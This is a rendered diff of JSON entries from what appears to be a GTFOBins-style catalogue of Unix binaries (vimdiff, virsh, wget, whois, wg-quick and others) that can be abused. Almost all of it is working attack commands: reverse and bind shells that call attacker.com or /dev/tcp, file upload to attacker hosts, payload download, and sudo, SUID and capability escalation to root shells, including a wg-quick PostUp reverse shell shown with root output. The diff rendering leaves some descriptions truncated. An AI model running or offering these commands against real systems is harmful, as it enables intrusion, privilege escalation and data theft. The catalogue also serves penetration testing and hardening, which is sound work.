"code": "vimdiff -c ':lua os.execute(\"reset; exec sh\")'"
|
|
17
|
+
"description": "This requires that `vimdiff` is compiled with Lua support.",
|
|
18
|
+
"code": "vimdiff -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
17
19
|
}
|
|
18
20
|
],
|
|
19
21
|
"reverse-shell": [
|
|
20
22
|
{
|
|
21
|
-
"description": "This requires that
|
|
22
|
-
"code": "
|
|
23
|
+
"description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
|
|
24
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nvimdiff -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
|
|
23
25
|
}
|
|
24
26
|
],
|
|
25
27
|
"non-interactive-reverse-shell": [
|
|
26
28
|
{
|
|
27
|
-
"description": "Run
|
|
28
|
-
"code": "
|
|
29
|
+
"description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.",
|
|
30
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nvimdiff -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
|
|
29
31
|
}
|
|
30
32
|
],
|
|
31
33
|
"non-interactive-bind-shell": [
|
|
32
34
|
{
|
|
33
|
-
"description": "Run
|
|
34
|
-
"code": "
|
|
35
|
+
"description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.",
|
|
36
|
+
"code": "export LPORT=12345\nvimdiff -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
|
|
35
37
|
}
|
|
36
38
|
],
|
|
37
39
|
"file-upload": [
|
|
38
40
|
{
|
|
39
|
-
"description": "This requires that
|
|
40
|
-
"code": "
|
|
41
|
+
"description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
|
|
42
|
+
"code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nvimdiff -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))\nvim.command(\":q!\")'\n"
|
|
41
43
|
},
|
|
42
44
|
{
|
|
43
|
-
"description": "This requires that
|
|
44
|
-
"code": "
|
|
45
|
+
"description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.",
|
|
46
|
+
"code": "export LPORT=8888\nvimdiff -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
|
|
45
47
|
},
|
|
46
48
|
{
|
|
47
|
-
"description": "Send a local file via TCP. Run
|
|
48
|
-
"code": "
|
|
49
|
+
"description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.",
|
|
50
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nvimdiff -c ':lua local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n"
|
|
49
51
|
}
|
|
50
52
|
],
|
|
51
53
|
"file-download": [
|
|
52
54
|
{
|
|
53
|
-
"description": "This requires that
|
|
54
|
-
"code": "
|
|
55
|
+
"description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.",
|
|
56
|
+
"code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nvimdiff -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])\nvim.command(\":q!\")'\n"
|
|
55
57
|
},
|
|
56
58
|
{
|
|
57
|
-
"description": "Fetch a remote file via TCP. Run
|
|
58
|
-
"code": "
|
|
59
|
+
"description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.",
|
|
60
|
+
"code": "export LPORT=12345\nexport LFILE=file_to_save\nvimdiff -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n"
|
|
59
61
|
}
|
|
60
62
|
],
|
|
61
63
|
"file-write": [
|
|
62
64
|
{
|
|
63
|
-
|
|
65
|
+
|
|
66
|
+
"code": "vimdiff file_to_write\niDATA\n^[\nw\n"
|
|
64
67
|
}
|
|
65
68
|
],
|
|
66
69
|
"file-read": [
|
|
67
70
|
{
|
|
68
|
-
|
|
71
|
+
|
|
72
|
+
"code": "vimdiff file_to_read\n"
|
|
69
73
|
}
|
|
70
74
|
],
|
|
71
75
|
"library-load": [
|
|
72
76
|
{
|
|
73
|
-
"description": "This requires that
|
|
74
|
-
"code": "vimdiff -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'"
|
|
77
|
+
"description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
78
|
+
"code": "vimdiff -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'\n"
|
|
75
79
|
}
|
|
76
80
|
],
|
|
77
81
|
"suid": [
|
|
78
82
|
{
|
|
79
|
-
"description": "This requires that
|
|
80
|
-
"code": "./vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'"
|
|
83
|
+
"description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
84
|
+
"code": "./vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'\n"
|
|
81
85
|
}
|
|
82
86
|
],
|
|
83
87
|
"sudo": [
|
|
84
88
|
{
|
|
85
|
-
|
|
89
|
+
|
|
90
|
+
"code": "sudo vimdiff -c ':!/bin/sh'\n"
|
|
86
91
|
},
|
|
87
92
|
{
|
|
88
|
-
"description": "This requires that
|
|
89
|
-
"code": "sudo vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
93
|
+
"description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
94
|
+
"code": "sudo vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
90
95
|
},
|
|
91
96
|
{
|
|
92
|
-
"description": "This requires that
|
|
93
|
-
"code": "sudo vimdiff -c ':lua os.execute(\"reset; exec sh\")'"
|
|
97
|
+
"description": "This requires that `vimdiff` is compiled with Lua support.",
|
|
98
|
+
"code": "sudo vimdiff -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
94
99
|
}
|
|
95
100
|
],
|
|
96
101
|
"capabilities": [
|
|
97
102
|
{
|
|
98
|
-
"description": "This requires that
|
|
99
|
-
"code": "./vimdiff -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
103
|
+
"description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.",
|
|
104
|
+
"code": "./vimdiff -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
|
|
100
105
|
}
|
|
101
106
|
],
|
|
102
107
|
"limited-suid": [
|
|
103
108
|
{
|
|
104
|
-
"description": "This requires that
|
|
105
|
-
"code": "./vimdiff -c ':lua os.execute(\"reset; exec sh\")'"
|
|
109
|
+
"description": "This requires that `vimdiff` is compiled with Lua support.",
|
|
110
|
+
"code": "./vimdiff -c ':lua os.execute(\"reset; exec sh\")'\n"
|
|
106
111
|
}
|
|
107
112
|
]
|
|
108
113
|
}
|
gtfo/data/vipw.json
ADDED
gtfo/data/virsh.json
CHANGED
|
@@ -2,19 +2,20 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"sudo": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "SCRIPT=script_to_run\nTF=$(mktemp)\ncat > $TF << EOF\n<domain type='kvm'>\n <name>x</name>\n <os>\n <type arch='x86_64'>hvm</type>\n </os>\n <memory unit='KiB'>1</memory>\n <devices>\n <interface type='ethernet'>\n <script path='$SCRIPT'/>\n </interface>\n </devices>\n</domain>\nEOF\nsudo virsh -c qemu:///system create $TF\nvirsh -c qemu:///system destroy x\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"file-write": [
|
|
9
10
|
{
|
|
10
|
-
"description": "This requires the user to be in the
|
|
11
|
-
"code": "
|
|
11
|
+
"description": "This requires the user to be in the `libvirt` group to perform privileged file write. If the target directory doesn't exist, `pool-create-as` must be run with the `--build` option. The destination file ownership and permissions can be set in the XML.",
|
|
12
|
+
"code": "LFILE_DIR=/root\nLFILE_NAME=file_to_write\n\necho 'data' > data_to_write\n\nTF=$(mktemp)\ncat > $TF <<EOF\n<volume type='file'>\n <name>y</name>\n <key>$LFILE_DIR/$LFILE_NAME</key>\n <source>\n </source>\n <capacity unit='bytes'>5</capacity>\n <allocation unit='bytes'>4096</allocation>\n <physical unit='bytes'>5</physical>\n <target>\n <path>$LFILE_DIR/$LFILE_NAME</path>\n <format type='raw'/>\n <permissions>\n <mode>0600</mode>\n <owner>0</owner>\n <group>0</group>\n </permissions>\n </target>\n</volume>\nEOF\n\nvirsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR\nvirsh -c qemu:///system vol-create --pool x --file $TF\nvirsh -c qemu:///system vol-upload --pool x $LFILE_DIR/$LFILE_NAME data_to_write\nvirsh -c qemu:///system pool-destroy x\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"file-read": [
|
|
15
16
|
{
|
|
16
|
-
"description": "This requires the user to be in the
|
|
17
|
-
"code": "
|
|
17
|
+
"description": "This requires the user to be in the `libvirt` group to perform privileged file read.",
|
|
18
|
+
"code": "LFILE_DIR=/root\nLFILE_NAME=file_to_read\n\nSPATH=file_to_save\n\nvirsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR\nvirsh -c qemu:///system vol-download --pool x $LFILE_NAME $SPATH\nvirsh -c qemu:///system pool-destroy x\n"
|
|
18
19
|
}
|
|
19
20
|
]
|
|
20
21
|
}
|
gtfo/data/w3m.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nw3m \"$LFILE\" -dump\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./w3m \"$LFILE\" -dump\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo w3m \"$LFILE\" -dump\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/wall.json
ADDED
gtfo/data/watch.json
CHANGED
|
@@ -2,24 +2,27 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "watch -x sh -c 'reset; exec sh 1>&0 2>&0'\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"suid": [
|
|
9
10
|
{
|
|
10
|
-
"description": "This keeps the SUID privileges only if the
|
|
11
|
-
"code": "./watch -x sh -c 'reset; exec sh 1>&0 2>&0'"
|
|
11
|
+
"description": "This keeps the SUID privileges only if the `-x` option is present.",
|
|
12
|
+
"code": "./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'\n"
|
|
17
19
|
}
|
|
18
20
|
],
|
|
19
21
|
"limited-suid": [
|
|
20
22
|
{
|
|
21
|
-
|
|
23
|
+
|
|
24
|
+
"code": "./watch 'reset; exec sh 1>&0 2>&0'\n"
|
|
22
25
|
}
|
|
23
26
|
]
|
|
24
27
|
}
|
|
25
|
-
}
|
|
28
|
+
}
|
gtfo/data/wc.json
CHANGED
|
@@ -1,19 +1,21 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "The file content is parsed as a sequence of '\\x00' separated paths. On error the file content appears in a message, so this may not be suitable to read binary files.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-read": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nwc --files0-from \"$LFILE\"\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"suid": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./wc --files0-from \"$LFILE\"\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo wc --files0-from \"$LFILE\"\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
gtfo/data/wg-quick.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"description": "If the `sudo -l` shows such a binary in the output\n\n```\n(ALL) PASSWD: /usr/bin/wg-quick,\n```\n\nThis feature can be abused.\n",
|
|
6
|
+
"code": "Exploit,\n\n```\ncat << EOF > ./wg1.conf\n[Interface]\nListenPort = 51821\nPrivateKey = yNwWXHO7oIDQo/b5eS5R0xdVidxm50AwuQoIKTOGy1g=\n\nPostUp = sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\n\nEOF\n```\n\n`sudo wg-quick up ./wg1.conf`\n\nWill send a reverse shell on `127.0.0.1:1234` with root privileges\n\n```\nnc -lvnp 1234\nlistening on [any] 1234 ...\nconnect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55456\n# whoami\nroot\n```\n\nAnother more direct way to obain a shell is to avoid the usage of netcat at all\n\n```\ncat << EOF > ./wg1.conf\n[Interface]\nListenPort = 51821\nPrivateKey = yNwWXHO7oIDQo/b5eS5R0xdVidxm50AwuQoIKTOGy1g=\n\nPostUp = /bin/bash -p\n\nEOF\n```\n\n`sudo wg-quick up ./wg1.conf`\n\nThis will directly drop to a `root` shell.\n\n```\n#whoami\nroot\n```\n"
|
|
7
|
+
}
|
|
8
|
+
]
|
|
9
|
+
}
|
|
10
|
+
}
|
gtfo/data/wget.json
CHANGED
|
@@ -1,39 +1,45 @@
|
|
|
1
1
|
{
|
|
2
2
|
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "TF=$(mktemp)\nchmod +x $TF\necho -e '#!/bin/sh\\n/bin/sh 1>&0' >$TF\nwget --use-askpass=$TF 0\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
3
9
|
"file-upload": [
|
|
4
10
|
{
|
|
5
|
-
"description": "Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Use
|
|
6
|
-
"code": "
|
|
11
|
+
"description": "Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Use `--post-data` to send hard-coded data.",
|
|
12
|
+
"code": "URL=http://attacker.com/\nLFILE=file_to_send\nwget --post-file=$LFILE $URL\n"
|
|
7
13
|
}
|
|
8
14
|
],
|
|
9
15
|
"file-read": [
|
|
10
16
|
{
|
|
11
|
-
"description": "The file to be read is treated as a list of URLs, one per line, which are actually fetched by
|
|
12
|
-
"code": "
|
|
17
|
+
"description": "The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages, thus this is not suitable to read arbitrary binary data.",
|
|
18
|
+
"code": "LFILE=file_to_read\nwget -i $LFILE\n"
|
|
13
19
|
}
|
|
14
20
|
],
|
|
15
21
|
"file-write": [
|
|
16
22
|
{
|
|
17
|
-
"description": "The data to be written is treated as a list of URLs, one per line, which are actually fetched by
|
|
18
|
-
"code": "
|
|
23
|
+
"description": "The data to be written is treated as a list of URLs, one per line, which are actually fetched by `wget`. The data is written, somewhat modified, as error messages, thus this is not suitable to write arbitrary binary data.",
|
|
24
|
+
"code": "LFILE=file_to_write\nTF=$(mktemp)\necho DATA > $TF\nwget -i $TF -o $LFILE\n"
|
|
19
25
|
}
|
|
20
26
|
],
|
|
21
27
|
"file-download": [
|
|
22
28
|
{
|
|
23
29
|
"description": "Fetch a remote file via HTTP GET request.",
|
|
24
|
-
"code": "
|
|
30
|
+
"code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\nwget $URL -O $LFILE\n"
|
|
25
31
|
}
|
|
26
32
|
],
|
|
27
33
|
"suid": [
|
|
28
34
|
{
|
|
29
|
-
|
|
30
|
-
"code": "./wget
|
|
35
|
+
|
|
36
|
+
"code": "TF=$(mktemp)\nchmod +x $TF\necho -e '#!/bin/sh -p\\n/bin/sh -p 1>&0' >$TF\n./wget --use-askpass=$TF 0\n"
|
|
31
37
|
}
|
|
32
38
|
],
|
|
33
39
|
"sudo": [
|
|
34
40
|
{
|
|
35
|
-
|
|
36
|
-
"code": "
|
|
41
|
+
|
|
42
|
+
"code": "TF=$(mktemp)\nchmod +x $TF\necho -e '#!/bin/sh\\n/bin/sh 1>&0' >$TF\nsudo wget --use-askpass=$TF 0\n"
|
|
37
43
|
}
|
|
38
44
|
]
|
|
39
45
|
}
|
gtfo/data/whiptail.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nwhiptail --textbox --scrolltext \"$LFILE\" 0 0\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./whiptail --textbox --scrolltext \"$LFILE\" 0 0\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo whiptail --textbox --scrolltext \"$LFILE\" 0 0\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/whois.json
CHANGED
|
@@ -1,25 +1,24 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "'whois' hangs waiting for the remote peer to close the socket.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-upload": [
|
|
5
4
|
{
|
|
6
|
-
"description": "Send a text file to a TCP port. Run
|
|
7
|
-
"code": "
|
|
5
|
+
"description": "Send a text file to a TCP port. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. The file has a trailing `$'\\x0d\\x0a'` and its length is limited by the maximum size of arguments.",
|
|
6
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nwhois -h $RHOST -p $RPORT \"`cat $LFILE`\"\n"
|
|
8
7
|
},
|
|
9
8
|
{
|
|
10
|
-
"description": "Send a binary file to a TCP port. Run
|
|
11
|
-
"code": "
|
|
9
|
+
"description": "Send a binary file to a TCP port. Run `nc -l -p 12345 | tr -d $'\\x0d' | base64 -d > \"file_to_save\"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments.",
|
|
10
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nwhois -h $RHOST -p $RPORT \"`base64 $LFILE`\"\n"
|
|
12
11
|
}
|
|
13
12
|
],
|
|
14
13
|
"file-download": [
|
|
15
14
|
{
|
|
16
|
-
"description": "Fetch remote text file from a remote TCP port. Run
|
|
17
|
-
"code": "
|
|
15
|
+
"description": "Fetch remote text file from a remote TCP port. Run `nc -l -p 12345 < \"file_to_send\"` on the attacker box to send the file. The file has instances of `$'\\x0d'` stripped.",
|
|
16
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_save\nwhois -h $RHOST -p $RPORT > \"$LFILE\"\n"
|
|
18
17
|
},
|
|
19
18
|
{
|
|
20
|
-
"description": "Fetch remote binary file from a remote TCP port. Run
|
|
21
|
-
"code": "
|
|
19
|
+
"description": "Fetch remote binary file from a remote TCP port. Run `base64 \"file_to_send\" | nc -l -p 12345` on the attacker box to send the file.",
|
|
20
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_save\nwhois -h $RHOST -p $RPORT | base64 -d > \"$LFILE\"\n"
|
|
22
21
|
}
|
|
23
22
|
]
|
|
24
23
|
}
|
|
25
|
-
}
|
|
24
|
+
}
|